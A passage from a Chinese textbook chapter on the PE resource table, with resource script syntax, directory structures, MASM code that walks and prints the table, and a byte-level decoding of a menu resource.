虽然在16种基础资源类别里也为开发者留了一个扩展，即RT_RCDATA（表7-1中第10项），鉴于新资源类别定义的不公开特性，许多第三方软件不得不扩展该类别，将所有新定义的类型全部设置为RT_RCDATA（在有的书中称此资源类别为二进制）。 注意 笔者认为，最优的资源类别设计可以只用这一种，因为所有类别的数据都可以做成文件，只要把赤裸裸的二进制文件复制到PE空间即可；这样存储方便，使用方便，数据的处理更加方便。 历史总是惊人地相似，早期对于资源类别的错误观点，也曾经发生在内存、时间和网络上。早在MS-DOS时代，IBM的专家就预言，“个人计算机只需要640KB的内存就足够了”。可事实是，目前，基于Intel CPU的个人电脑硬是将连续的内存从1MB处分隔开，并美其名曰实模式和保护模式。回顾2000年的千年虫问题，就知道在时间处理上也出现过类似的事情。网络方面，IPv4限制了一个IP地址的位数为32位，从而导致人们不得不重新设计IP，以适应诸物皆互联的理念。 程序中常用的六类资源包括： 位图资源 光标资源 图标资源 菜单资源 对话框资源 自定义资源 下面分别来讨论这几种资源类型。 7.1.1 位图、光标、图标资源 位图、光标和图标是标识程序用途、修饰程序的最简约的符号，一般对应ico、cur、ani和bmp文件内容。因为三种资源最终都是基于图片文件的，因此放在一节中讨论。在对资源脚本文件进行定义时，通常使用文件名，最后由资源编译器rc.exe将像素数据读入，再转换为二进制格式存储在PE的资源表指向的位置。位图、光标、图标这三类资源在脚本文件中的定义格式如下： 位图定义：nameID BITMAP [DISCARDABLE]位图文件名 光标定义：nameID CURSOR [DISCARDABLE]光标文件名 图标定义：nameID ICON [DISCARDABLE]图标文件名 1）nameID表示该资源的名字，在程序中使用资源时需要用到它，类似于文件的句柄。 2）BITMAP、CURSOR、ICON表示资源的类型。 3）DISCARDABLE关键字是可选项，表示在不用的时候可以从内存中暂时卸载掉。 注意 当文件名包含空格时，需要使用英文半角状态下的双引号引起来。 脚本定义语句举例如下： TITLE_ICON icon\"abc.ico\" 1000 icon discardable 123.ico 以上定义都是合法有效的。看一个实例： ICO_MAIN ICON\"D:\\masm32\\source\\chapter7\\main.ico\" 以上脚本定义了程序的图标main.ico。 注意 上面的例子告诉我们，对应的外部文件可以使用绝对路径。"},
    {"text": "7.1.2 菜单资源 7.1.2 菜单资源 菜单是大部分应用程序都具备的资源。在资源脚本文件中，菜单的定义格式如下所示： 菜单 ID MENU [DISCARDABLE] BEGIN 菜单项定义 ...... END 其中，菜单ID可以是16位的整数，其赋值范围在1～65535之间。菜单项的定义可以有三种，分别表示： 普通菜单项 菜单分隔符 弹出菜单 其语法结构分别如下所示： MENUITEM 菜单文字，命令 ID [,选项列表] MENUITEM SEPARATOR POPUP 菜单文字 [,选项列表] BEGIN 菜单项定义 ....... END 以下是一个菜单实例，来自chapter7\\pe.rc。 IDM_MAIN menu discardable BEGIN POPUP \"文件(＆F)\" BEGIN menuitem \"打开文件(＆O)...\",IDM_OPEN menuitem separator menuitem \"退出(＆x)\",IDM_EXIT END POPUP \"查看\" BEGIN menuitem \"源文件\",IDM_1 menuitem \"窗口透明度\",IDM_2 menuitem separator menuitem \"大小\",IDM_3 menuitem \"宽度\",IDM_4 END END 如以上代码所示，IDM_MAIN为菜单句柄，该菜单包含两个弹出式菜单“文件”和“查看”。其中“文件”弹出菜单包含“打开”、分隔符和“退出”3个菜单选项；“查看”弹出菜单包含“源文件”、“窗口透明度”、分隔符、“大小”和“宽度”5个菜单选项。 想了解与菜单项定义有关的更多资料，请阅读《Windows环境下32位汇编语言程序设计》（ISBN 978-7-121-08663-2）。 7.1.3 对话框资源 7.1.3 对话框资源 对话框也是大部分程序具备的一种资源。弹出式对话框人性化地排列着文本框、说明文字和按钮等可视化控件，使复杂的计算机操作变得容易。 在资源脚本的定义中，对话框最为复杂，其语法如下： 对话框 ID DIALOG [DISCARDABLE]x坐标，y坐标，宽度，高度[options] BEGIN 子窗口控件1 子窗口控件2 ...... END 对话框的可选属性及描述见表7-2。 以下是一个对话框实例，代码如下： DLG_MAIN DIALOG 50,50,544,399 STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU CAPTION\"PE文件基本信息by qixiaorui\" MENU IDM_MAIN FONT 9,\"宋体\" BEGIN CONTROL\"\",IDC_INFO,\"RichEdit20A\",196|ES_WANTRETURN |WS_CHILD|ES_READONLY |WS_VISIBLE|WS_BORDER|WS_VSCROLL|WS_TABSTOP,0,0,540,396 END 以上定义为对话框指定了标题文字、在屏幕上的坐标、使用的字体、对话框的样式；此外，还为对话框指定了一个菜单IDM_MAIN，并在对话框上安排了一个富文本控件。该对话框显示界面如图2-1所示。 7.1.4 自定义资源 7.1.4 自定义资源 通常，当开发者需要在PE文件中附带自定义数据时，可以使用自定义资源。其在资源文件中的定义语法如下： 资源ID 类型ID [DISCARDABLE] BEGIN 数据定义 ...... END 大部分情况下，都是将一个磁盘文件当做资源的内容。此时的语法简化为： 资源ID 类型ID [DISCARDABLE]文件名 类型ID可以是大于255的数值或字符串，如可以定义如下自定义资源： 1001 MP3\"gaoshan.mp3\" 2000 FLASH\"GAOXIAO.FLV\" DIB_WINRESULT DLLTYPE\"winResult.dll\" 注意 MP3、FLASH并不在常用的资源类别里。这里的资源类别的名字可以自行定义。 7.2 PE资源表组织 7.2 PE资源表组织 本节主要介绍了PE文件中资源数据的组织方式，并通过一个实例介绍针对资源数据定义的数据结构以及在PE中定位资源表的方法。 7.2.1 资源表的组织方式 PE的资源组织方式类似于操作系统的文件管理方式。从根目录开始，下设一级子目录、二级子目录和三级子目录；三级子目录下才是文件。其三级目录结构如图7-1所示。 图 7-1 三级目录结构 一级子目录按照资源类型分类，如“光标”一级子目录、“位图”一级子目录、“菜单”一级子目录、“字符串”一级子目录、“加速键”一级子目录等多个资源类型。 二级子目录按照资源的ID分类。例如，同样是“菜单”一级子目录的内容，其下可以有：IDM_OPEN的ID号为2001、IDM_EXIT的ID号为2002、IDM_1的ID号为4000等多个菜单项。 三级子目录是按照资源的代码页分类，即不同的语言代码页对应不同的数据。其中，根据语言可以分为简体中文、英文、繁体中文等多个代码页。 三级目录后即为节点，也就是所说的“文件”。这里的“文件”其实就是包含了资源数据的指针和大小等信息的一个数据结构而已。对所有资源数据块的访问均可从这里开始。 扩展阅读 资源目录结构单元 由于一、二、三级目录的数据结构是相同的，均是由一个资源目录头加上多个线性跟随着的资源目录项组成，笔者将主干和枝干的节点称为资源目录结构单元，如图7-2所示。 图 7-2 资源目录结构单元 从数据结构角度来看，资源表是一个四层的二叉排序树结构。其中，第一层为主干，第二、三层为枝干，叶子节点为第四层。主干和枝干的节点即为资源目录结构单元，完整示意见图7-3。 图 7-3 资源表的二叉树结构 资源表的结构虽然比较复杂，但并不难理解。下面来分析一下资源表在PE文件中的详细定义。首先来看资源表数据的定位。"},
    {"text": "7.2.2 资源表数据定位 7.2.2 资源表数据定位 资源表是一张描述资源数据在PE中的分布情况的表。资源表是数据目录中注册的数据类型之一，其描述信息位于数据目录的第3个目录项中。使用PEDump小工具获取chapter7\\PE.exe的数据目录表内容如下： 黑体部分即为资源表数据目录信息。 通过以上字节码可获得与资源表数据有关的两条信息： 资源表数据所在地址RVA=0x000004000 资源表数据大小=000006A0h 以下是使用PEInfo小工具获取到的该文件所有的节信息： 根据RVA与FOA的换算关系，可以得到资源表数据所在文件的偏移地址为0x00000A00。 7.2.3 资源目录头IMAGE_RESOURCE_DIRECTORY 7.2.3 资源目录头IMAGE_RESOURCE_DIRECTORY 资源表数据从第一级资源目录开始。资源的每一级目录都会有一个资源目录头，它标识了该类资源的属性、创建日期和版本等信息，其中也包含了随后的目录项的数量描述信息。详细结构定义如下： 下面是结构IMAGE_RESOURCE_DIRECTORY中各字段的详细解释： 73.IMAGE_RESOURCE_DIRECTORY.Characteristics +0000h，双字。资源属性，保留为将来使用，必须为0。 74.IMAGE_RESOURCE_DIRECTORY.TimeDateStamp +0004h，双字。时间戳，即创建该资源的时间。 75.IMAGE_RESOURCE_DIRECTORY.MajorVersion IMAGE_RESOURCE_DIRECTORY.MinorVersion +0008h，双字。资源的版本号。未用，大部分情况下为0。 76.IMAGE_RESOURCE_DIRECTORY.NumberOfNamedEntries +000ch，双字。以名称命名的资源个数。 77.IMAGE_RESOURCE_DIRECTORY.NumberOfIdEntries +000eh，双字。以ID命名的资源个数。 以上字段中，最重要的是76和77两个字段。在资源脚本文件中，定义资源时，既可以使用字符串作为名称来标识一个资源，也可以通过ID号来标识资源。资源目录项的数量等于两者之和。 7.2.4 资源目录项IMAGE_RESOURCE_DIRECTORY_ENTRY 7.2.4 资源目录项IMAGE_RESOURCE_DIRECTORY_ENTRY 紧跟在资源目录后的数据结构，就是在资源目录中声明的资源目录项。一个资源目录可能有多个资源目录项（以名称定义的资源目录项或以ID定义的资源目录项，或者两者组合），目录项和目录项之间是线性排列的。首先按照字母升序（不分大小写）排列名称资源目录项，然后再按ID升序排列ID资源目录项。图7-4是资源目录及目录项之间的关系示意图。 图 7-4 资源目录及目录项之间的关系 资源目录项数据结构的详细定义如下： IMAGE_RESOURCE_DIRECTORY_ENTRY STRUCT union ;0000h-目录项的名字、字符串指针或ID号 rName RECORD NameIsString:1,NameOffset:31 Name1 dd ? Id dd ? ends union ;0004h-目录项指针 OffsetToData dd ? rDirectory RECORD DataIsDirectory:1,OffsetToDirectory:31 ends IMAGE_RESOURCE_DIRECTORY_ENTRY ENDS 因为结构中使用了union类型，所以这个结构稍微难懂一些。每个union字段在不同的使用场合会具有不同的数据解释和不同的数据值。下面分别介绍各字段的含义： 78.IMAGE_RESOURCE_DIRECTORY_ENTRY.Name1 +0000h，双字。第一个union字段，它定义了目录项的名称或者ID。 该双字的高位（即31位）如果为1，则表示低地址部分为一个指向Unicode字符串的指针（注意，这里的字符串不是Ansi字符串，所以另有规定）；如果为0，则表示该字段为一个编号。 资源中对字符串的定义全部采用Unicode编码，该指针并不直接指向一个以“\\0”结尾的字符串所在地址，而是指向了结构IMAGE_RESOURCE_DIR_STRING_U。该结构完善了指针的定义（即不仅包含指针，还包含指针指向的块长度，大家可以自己想想为什么这里需要长度字段），其详细定义如下： IMAGE_RESOURCE_DIR_STRING_U STRUCT Length1 dw ? ;0000h-字符串长度 NameString dw ? ;0002h-Unicode字符串，长度不确定 IMAGE_RESOURCE_DIR_STRING_U ENDS 79.IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData +0004h，双字。这个字段是一个指针，当它的高位（第31位）为0时，指针指向的是描述资源数据块的指针，通常出现在第三级目录中；当高位为1时，低位数据指向下一级目录块的起始地址。有关这两个字段更详细的解释参见7.2.6小节。 提示 字段78和79中的地址并不是基于文件起始地址的，它的偏移是基于资源表的起始位置。一定要清楚这一点，否则在定位资源数据时会出现错误！"},
    {"text": "7.2.5 资源数据项IMAGE_RESOURCE_DATA_ENTRY 7.2.5 资源数据项IMAGE_RESOURCE_DATA_ENTRY 资源数据项其实就是前面所说的“目录-文件”结构中的“文件”。它是通过三次目录定位后找到的一个数据结构，图7-5显示了资源数据项与三级目录和最终的资源数据块之间的关系。 如图7-5所示，第三级目录项中的字段IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData指向了资源数据项，而资源数据项中的OffsetToData字段则指向了资源数据块。 资源数据项的详细结构定义如下： 图 7-5 资源数据块定位中的资源数据项 80.IMAGE_RESOURCE_DATA_ENTRY.OffsetToData +0000h，双字。该字段是一个指向资源数据块的指针，是一个RVA值，在文件中访问时需要注意转换成文件偏移。此处指向的资源数据块还不是赤裸裸的资源信息，而是附加了一些数据结构的资源块。后面7.4节还会对常用的资源块进行进一步的解析。 81.IMAGE_RESOURCE_DATA_ENTRY.Size1 +0004h，双字。资源数据的大小。 82.IMAGE_RESOURCE_DATA_ENTRY.CodePage＜/h5＞ +0008h，双字。代码页，未用，大多数情况下为0。 83.IMAGE_RESOURCE_DATA_ENTRY.Reserved＜/h5＞ +000ch，双字。保留字段。总是为0。 对资源表的大部分编程，只要能解析出该结构中指定资源块所处的地址和资源块的大小，资源表的使命也就算完成了。 7.2.6 三级结构中目录项的区别 7.2.6 三级结构中目录项的区别 由于目录处的级别不同，目录中各字段所表述的内容也不一样；尽管它们具有相同的数据结构和完全相同的字段，在不同级别的目录项中有些字段的含义是不一样的。本小节就专门研究三级目录中目录项各字段不一样的地方。 1.IMAGE_RESOURCE_DATA_ENTRY.Name1 （1）字段最高位（即31位）为1 当结构用于第一层目录时，表示这是一个非标准的类型。由该字段的低31位组成一个偏移值，该偏移是相对于资源基地址的特殊偏移地址。该地址指向一个IMAGE_RESOURCE_DIR_STRING_U结构表示的Unicode字符串。字符串为非标准的类型的名字。类似于本章第1节自定义资源中的\"DLLTYPE\"。 当结构用于第二层目录时，表示这是一个非标准的命名。由该字段的低31位组成一个偏移值，该偏移是相对于资源基地址的特殊偏移地址。该地址指向一个IMAGE_RESOURCE_DIR_STRING_U结构表示的Unicode字符串。字符串为非标准的类型下的命名，类似于本章第1节自定义资源中的\"DIB_WINRESULT\"。 当结构用于第三层目录时，表示这是一个非标准的语言（没有预定义的代码页）。由该字段的低31位组成一个偏移值，该偏移是相对于资源基地址的特殊偏移地址。该地址指向一个IMAGE_RESOURCE_DIR_STRING_U结构表示的Unicode字符串。字符串为非标准的语言的名字。 （2）字段第31位为0 当结构用于第一层目录时，表示这是标准的类型（预定义的类型）。由该字段的低16位组成整数标识符ID，由于该类型已定义，所以可以通过该标识符获取预先定义的名字。例如该值为03h，则名字表示预定义当中的\"ICON\"。 当结构用于第二层目录时，表示这是标准的命名（预定义的类型）。由该字段的低16位组成整数标识符ID来定义名字。 当结构用于第三层目录时，表示这是标准的语言代码（预定义的类型）。由该字段的低16位组成整数标识符ID，可以通过该标识符获取预先定义的语言的名称。如ID=2052，表示该语言为Simpled _Chinese（简体中文）。大多数情况下，每个资源的代码页只定义一种。 2.IMAGE_RESOURCE_DATA_ENTRY.OffsetToData （1）字段第31位为1 当结构用于第一层目录时，由该字段低31位组成一个整数偏移地址。该地址是相对于资源起始地址的偏移，该偏移指向下一个目录。 当结构用于第二层目录时，由该字段低31位组成一个整数偏移地址。该地址是相对于资源起始地址的偏移，该偏移指向下一个目录。 第三层目录的该值第31位不为1。 （2）字段第31位为0 第一层目录的该值第31位不为0。 第二层目录的该值第31位不为0。 当结构用于第三层目录时，表示该字段指向一个数据项IMAGE_RESOURCE_DATA_ENTRY。 注意 由低31位组成的地址是基于资源起始地址的。"},
    {"text": "在PE文件头IMAGE_OPTIONAL_HEADER32的数据目录中，第3个IMAGE_DATA_DIRECTORY结构描述的就是资源表。 以下是PE中资源表所在位置和大小的获取方法： 资源表位置：IMAGE_DATA_DIRECTORY[8*2].VirtualAddress 资源表大小：IMAGE_DATA_DIRECTORY[8*2].isize 通过程序定位到资源表，将资源表内容按照人性化方式显示出来。"},
    {"text": "和前面其他数据的遍历一样，需要在PEInfo.asm的_openFile中加入以下遍历代码： ;显示资源表信息 invoke _getResource,@lpMemory,esi,@dwFileSize 代码清单7-1是函数_getResource的代码。 代码清单7-1 获取PE文件的资源信息的函数_getResource（chapter7\\peinfo.asm） 1 ;--------------------------------- 2 ;获取PE文件的资源信息 3 ;---------------------------------- 4 _getResource proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 pushad 7 ;通过PE头定位资源表所在RVA 8 mov esi,_lpPeHead 9 assume esi:ptr IMAGE_NT_HEADERS 10 mov eax,[esi].OptionalHeader.DataDirectory [8*2].VirtualAddress 11 .if!eax 12 invoke _appendInfo,addr szNoResource 13 jmp _ret 14 .endif 15 push eax 16 ;求资源表在文件的偏移 17 invoke _RVAToOffset,_lpFile,eax 18 add eax,_lpFile 19 mov esi,eax 20 pop eax 21 invoke _getRVASectionName,_lpFile,eax 22 invoke wsprintf,addr @szBuffer,addr szOut4,eax 23 invoke _appendInfo,addr @szBuffer 24 25 ;传入的4个参数分别表示 26 ;1、文件头位置 27 ;2、资源表位置 28 ;3、目录位置 29 ;4、目录级别 30 invoke _processRes,_lpFile,esi,esi,1 31 _ret: 32 assume esi:nothing 33 popad 34 ret 35 _getResource endp 如代码所示，首先通过查询数据目录表获取资源表的RVA，然后调用_RVAToOffset获取资源表在文件的偏移，并显示资源表所处的节名。"},
    {"text": "代码清单7-2 用递归函数_processRes遍历资源表项（chapter7\\peinfo.asm） 1 ;--------------------------------- 2 ;递归函数，遍历资源表项 3 ;_lpFile：文件地址 4 ;_lpRes：资源表地址 5 ;_lpResDir：目录地址 6 ;_dwLevel：目录级别 7 ;---------------------------------- 8 _processRes proc _lpFile,_lpRes,_lpResDir,_dwLevel 9 local @dwNextLevel,@szBuffer [1024]:byte 10 local @szResName [256]:byte 11 12 pushad 13 mov eax,_dwLevel 14 inc eax 15 mov @dwNextLevel,eax ;为下一次递归准备第四个参数 16 17 mov esi,_lpResDir ;指向目录表 18 19 ;计算目录项的个数 20 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 21 mov cx,[esi].NumberOfNamedEntries 22 add cx,[esi].NumberOfIdEntries 23 movzx ecx,cx 24 25 ;跳过目录头定位到目录项 26 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 27 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 28 .while ecx＞0 29 push ecx 30 ;查看IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData 31 mov ebx,[esi].OffsetToData 32 .if ebx＆80000000h ;如果最高位为1 33 and ebx,7FFFFFFFh ;求其他目录项 34 add ebx,_lpRes ;偏移是基于资源表起始地址的 35 ;为下一次递归准备第三个参数 36 37 .if _dwLevel == 1 ;如果是第一级资源类别 38 39 mov eax,[esi].Name1 40 .if eax＆80000000h ;如果是按名称定义的资源类型 41 42 ;该部分结束后，eax指向了名称字符串 43 44 and eax,7FFFFFFFh 45 add eax,_lpRes 46 movzx ecx,word ptr [eax] ;ecx=名字长度 47 ;跳过2字节的IMAGE_RESOURCE_DIR_STRING_U.Length1 48 add eax,2 49 mov edx,eax ;edx=名字地址 50 ;将Unicode字符转换为多字节字符 51 invoke WideCharToMultiByte,CP_ACP,\\ 52 WC_COMPOSITECHECK,edx,ecx,\\ 53 addr @szResName,sizeof @szResName,\\ 54 NULL,NULL 55 lea eax,@szResName 56 .else ;如果是按编号定义的资源类型 57 58 ;该分支结束后，eax指向了资源编号 59 60 .if eax＜=10h ;系统内定的资源编号 61 ;定位编号所在字符串eax=(n-1)*sizeof szType 62 dec eax 63 mov ecx,sizeof szType 64 mul ecx 65 add eax,offset szType 66 .else 67 invoke wsprintf,addr @szBuffer,\\ 68 addr szOut5,eax 69 jmp _goHere 70 .endif 71 .endif 72 invoke wsprintf,addr @szBuffer,addr szLevel1,eax 73 _goHere: 74 .elseif _dwLevel == 2 ;如果是第二级资源ID 75 76 mov edx,[esi].Name1 77 .if edx＆80000000h ;如果是按字符串定义的资源ID 78 79 and edx,7FFFFFFFh 80 add edx,_lpRes 81 movzx ecx,word ptr [edx] ;ecx=名字长度 82 ;跳过2字节的IMAGE_RESOURCE_DIR_STRING_U.Length1 83 add edx,2 84 ;将Unicode字符转换为多字节字符 85 invoke WideCharToMultiByte,CP_ACP,\\ 86 WC_COMPOSITECHECK,edx,ecx,\\ 87 addr @szResName,sizeof @szResName,\\ 88 NULL,NULL 89 invoke wsprintf,addr @szBuffer,addr szLevel2,\\ 90 addr @szResName 91 .else ;如果是按编号定义的资源类型 92 93 invoke wsprintf,addr @szBuffer,\\ 94 addr szOut6,edx 95 .endif 96 .else 97 .break ;跳出递归 98 .endif 99 invoke _appendInfo,addr @szBuffer 100 invoke _processRes,_lpFile,_lpRes,ebx,@dwNextLevel 101 102 103 ;如果IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData最高位为0 104 105 .else ;第三级目录 106 add ebx,_lpRes 107 mov ecx,[esi].Name1 ;代码页 108 assume ebx:ptr IMAGE_RESOURCE_DATA_ENTRY 109 mov eax,[ebx].OffsetToData 110 invoke _RVAToOffset,_lpFile,eax 111 invoke wsprintf,addr @szBuffer,addr szLevel3,\\ 112 ecx,eax,[ebx].Size1 113 invoke _appendInfo,addr @szBuffer 114 .endif 115 add esi,sizeof IMAGE_RESOURCE_DIRECTORY_ENTRY 116 pop ecx 117 dec ecx 118 .endw 119 assume esi:nothing 120 assume ebx:nothing 121 popad 122 ret 123 _processRes endp 该函数是一个递归程序。"},
    {"text": "7.4 PE资源深度解析 7.4 PE资源深度解析 PE中的资源表结构只帮助我们查找指定资源（可以通过指定名称或指定编号）的资源数据块所在文件的位置和大小。而对于某个特定的资源，比如对话框或菜单，其详细的数据块格式需要在本小节中完成。本节以PE.exe为例，对PE.exe中的资源数据块进行深度解析。首先来看一下PE.exe的资源脚本定义，该定义在第2章中出现过。 7.4.1 资源脚本 PE.exe的资源定义在文件pe.rc中，文件中一共定义了三种资源：图标、菜单和对话框。详细定义如下。 #include＜resource.h＞ #define ICO_MAIN 1000 ;常量定义 #define DLG_MAIN 1000 #define IDC_INFO 1001 #define IDM_MAIN 2000 #define IDM_OPEN 2001 #define IDM_EXIT 2002 #define IDM_1 4000 #define IDM_2 4001 #define IDM_3 4002 #define IDM_4 4003 ICO_MAIN ICON\"main.ico\" ;图标定义 DLG_MAIN DIALOG 50,50,544,399 ;对话框定义 STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU CAPTION\"PE文件基本信息by qixiaorui\" MENU IDM_MAIN FONT 9,\"宋体\" BEGIN CONTROL\"\",IDC_INFO,\"RichEdit20A\",196|ES_WANTRETURN|WS_CHILD|ES_READONLY |WS_VISIBLE|WS_BORDER|WS_VSCROLL|WS_TABSTOP,0,0,540,396 END IDM_MAIN menu discardable ;主菜单定义 BEGIN POPUP\"文件(＆F)\" BEGIN menuitem\"打开文件(＆O)...\",IDM_OPEN menuitem separator menuitem\"退出(＆x)\",IDM_EXIT END POPUP \"查看\" BEGIN menuitem \"源文件\",IDM_1 menuitem \"窗口透明度\",IDM_2 menuitem separator menuitem \"大小\",IDM_3 menuitem \"宽度\",IDM_4 END END 资源脚本文件中涉及程序图标、对话框、菜单的定义。这三个是在接下来的内容中要重点讨论的。首先通过PEInfo简单地分析一下PE.exe中的资源表，然后针对资源脚本文件中存在的三种类型的资源进行深度解析。 7.4.2 使用PEInfo分析资源表 7.4.2 使用PEInfo分析资源表 使用PEInfo查看PE.exe中的资源表，内容如下： 在深度解析资源字节码之前，首先明确几个概念。 1.资源表中的Unicode字符 资源文件中的所有字符串都以Unicode格式存储，每个字符都由一个16位（单字）值表示，字符串以UNICODE_NULL（该值是两个“\\0”字节）结束。资源编译器调用Windows API中的MultiByteToWideChar函数将ASCⅡ字符串转换为Unicode字符串，所有溢出的字符都被当做合法的Unicode字符直接存储。当这些字符串被程序以ASCⅡ字符读出（例如使用LoadString API）时，系统将它们再由Unicode转换为ASCⅡ字符。 仅有的例外是在RCDATA语句中的字符串。这些“伪”字符串并不是真正的字符串，只被当做一些字节的集合。用户可能会用RCDATA语句存储一些自定义的数据结构，如果一个“伪”字符串被自动转换为Unicode字符串存储起来，这个“伪”字符串就会按照Unicode字符串的格式被存储，从而导致这个“伪”字符串字节码内容的改动。假设这个“伪”字符串是一个PE文件的字节码，再次被释放以后，这个PE文件就可能无法运行了。因此，这些“伪”字符串必须以它的本来面目存储下来，即字节码。若想在RCDATA语句中包含Unicode字符串，用户可以使用带\"L\"前缀的字符串。 2.资源字节码对齐 为使二进制资源文件更容易读写，在Win32下，文件中的所有对象都是双字对齐的,包括头信息和数据项。这并不会改变资源数据结构中每个字段的顺序，但会在这些字段中间增加一些填充域；通常情况下，这些填充域的值均为0。 资源中的大部分类型都遵循该规则，但有两个除外，一个是字体（font），另一个是字体目录（fontdir）。因为这两个结构直接复制自别的文件，它们并不被资源编译器所使用。 3.一个字段的多重定义 在接下来的数据结构中，大家会看到类似于“[名称或序数]”这样的字段描述。[名称或序数]字段的第一个单字，标志这个字段到底是一个数字还是一个字符串。如果它等于0xffff（一个非法的Unicode字符），那么在它后面的单字信息就是一个类型序号（一个数字）；否则，这个字段就是一个Unicode字符串。 如果类型域是一个数字，那它就代表一个标准的或者用户自定义的资源类型。所有标准的Windows资源类型都被赋予一个特定的值（如下所示），它包含了绝大多数资源类型的类型序数。 /*预定义的资源类型*/ #define RT_NEWRESOURCE 0x2000 #define RT_ERROR 0x7fff #define RT_CURSOR 1 #define RT_BITMAP 2 #define RT_ICON 3 #define RT_MENU 4 #define RT_DIALOG 5 #define RT_STRING 6 #define RT_FONTDIR 7 #define RT_FONT 8 #define RT_ACCELERATORS 9 #define RT_RCDATA 10 #define RT_MESSAGETABLE 11 #define RT_GROUP_CURSOR 12 #define RT_GROUP_ICON 14 #define RT_VERSION 16 #define RT_NEWBITMAP(RT_BITMAP|RT_NEWRESOURCE) #define RT_NEWMENU(RT_MENU|RT_NEWRESOURCE) #define RT_NEWDIALOG(RT_DIALOG|RT_NEWRESOURCE) 初步了解了资源字节码的相关规定后，下面开始我们的解析之旅。"},
    {"text": "7.4.3 菜单资源解析 7.4.3 菜单资源解析 以下内容以PE.exe为例，首先来看对菜单资源的解析。 1.菜单资源定位 从PEInfo中查看到菜单资源的位置和大小分别是： 文件位置：0x00001018 菜单项大小：134字节 2.菜单资源数据提取 使用PEDump将该位置的数据提取出来，字节码显示如下： 以上字节码对应以下定义： POPUP\"文件(＆F)\" BEGIN menuitem\"打开文件(＆O)...\",IDM_OPEN menuitem separator menuitem\"退出(＆x)\",IDM_EXIT END 继续看下面的字节码： 以上字节码对应以下定义： POPUP \"查看\" BEGIN menuitem \"源文件\",IDM_1 menuitem \"窗口透明度\",IDM_2 menuitem separator menuitem \"大小\",IDM_3 menuitem \"宽度\",IDM_4 END 3.菜单资源数据结构 菜单资源由一个菜单头加一个菜单项的序列组成。菜单项有两种：弹出式（POPUP）菜单项和普通菜单项。 菜单头结构定义如下： MenuHeader STRUCT wVersion dw ? ;版本号。暂时取值为0 cbHeaderSize dw ? ;头大小。暂时取值为0 MenuHeader ENDS 菜单头后面紧跟着菜单项，不同的菜单项具有不同数据结构的定义。 一般菜单项数据结构完整定义如下： NormalMenuItem STRUCT fItemFlags dw ? ;菜单项标志 wMenuID dw ? ;菜单ID szItemText dd ? ;Unicode格式字符串，不确定长度 NormalMenuItem ENDS 其中，菜单分隔符MENUITEM SEPARATE也是普通菜单项，不过，其名称为空，ID为0，标志也为0。 fItemFlags是描述菜单项的标志集合。如果POPUP位被设置，则此项为弹出式的菜单项，否则就是一个普通的菜单项。常见标志及对应的值见表7-3。 弹出式菜单项数据结构定义如下： PopupMenuItem STRUCT fItemFlags dw ? ;菜单标志 szItemText dd ? ;Unicode字符，大小不确定 PopupMenuItem ENDS 4.字节码解析 ＞＞00 00 00 00 菜单头数据结构。两个字段的值均为0x00。 ＞＞10 00 ＞＞87 65 F6 4E 28 00 26 00 46 00 29 00 00 00 PopupMenuItem.fItemFlags=0x0010，表示接下来的是一个弹出式菜单项。第二行为Unicode字符串，以一个字的0结尾，内容是“文件(＆F)”。 ＞＞00 00 D1 07 ＞＞53 62 00 5F 87 65 F6 4E 28 00 26 00 4F 00 29 00 2E 00 2E 00 2E 00 00 00 普通菜单项。标志为0x0000，编号为0x07d1，十进制为2001。第二行为Unicode字符串，以一个字的0结尾，内容是“打开文件(＆O)...”。 ＞＞00 00 00 00 00 00 这是一个菜单分隔符，即\"menuitem separate\"。 ＞＞80 00 D2 07 ＞＞00 90 FA 51 28 00 26 00 78 00 29 00 00 00 普通菜单项，标志0x0080说明这个菜单项是弹出菜单的最后一个。0x07D2是菜单的ID。第二行的Unicode字符，内容是“退出(＆x)”。 第二部分的菜单资源字节码留给大家自己分析。"},
    {"text": "7.4.4 图标资源解析 7.4.4 图标资源解析 图标有一套标准的大小和属性格式，且通常是小尺寸的。以ICO文件为例，一个ICO文件就是一套相似的图片，每一张图片具有不同的尺寸和颜色数，目的是适应不同的计算机操作系统和显示设备。 操作系统在显示一个图标时，会按照一定的标准选择图标中最适合当前显示环境和状态的图像。如果使用Windows 98操作系统，其显示环境是800×600分辨率，32位色深，你在桌面上看到的每个图标的图像格式就是256色、32×32像素大小。如果在相同的显示环境下，这些图标在Windows XP操作系统中的图像格式就是：真彩色（32位色深）、32×32像素大小。 扩展阅读 Windows各个操作系统中的标准图标格式（单位：大小像素——颜色） Windows 98 SE/ME/2000 48×48-256 32×32-256 16×16-256 48×48-16 32×32-16 16×16-16 Windows XP 48×48-32bit 32×32-32bit 24×24-32bit*16×16-32bit (32位真彩色支持多通道透明。) 48×48-256 32×32-256 24×24-256*16×16-256 48×48-16 32×32-16 24×24-16*16×16-16 注意，*这种格式在Windows XP图标中并不是必需的。在Vista系统下最大可以支持256×256；同时，非标准的ICO文件也支持不规则尺寸的存储。 要想保证良好的显示效果，必须确保你所设计的图标中至少含有以上所列的图像格式。如果操作系统在图标中找不到特定的图像格式，它总是采用最接近的图像格式来显示，比如把大小为48×48的图标缩小为24×24像素大小，当然，效果就差些了。如果我们开发的软件同时支持Windows XP和Windows 2000，那么为了达到视觉上的最佳效果，每一个ICO文件应至少包含两个图标，一个是32位色的，一个是256色的。 1.ICO文件结构 每个ICO文件的开始都有一个头部信息。该头部信息描述了ICO文件中存在多少个图标，以及每个图标的基本信息，头部信息的结构如下： ICON_DIR STRUCT idreserved dw ? ;保留字，必须为0 idtype dw ? ;资源类别，如果是1表示为ICO文件 idcount dw ? ;图标数量 icondirentry ICON_DIR_ENTRY [idcount]＜?＞ ;图标项，一个图标一项 ICON_DIR ENDS idcount表示该ICO文件包含图标的数量。理论上，一个ICO文件最多可以包含65535个图标。接下来，是该文件所包含的每一个图标的详细描述。 ICON_DIR_ENTRY STRUCT bWidth db ? ;宽度 bHeight db ? ;高度 bColorCount db ? ;颜色数 bReserved 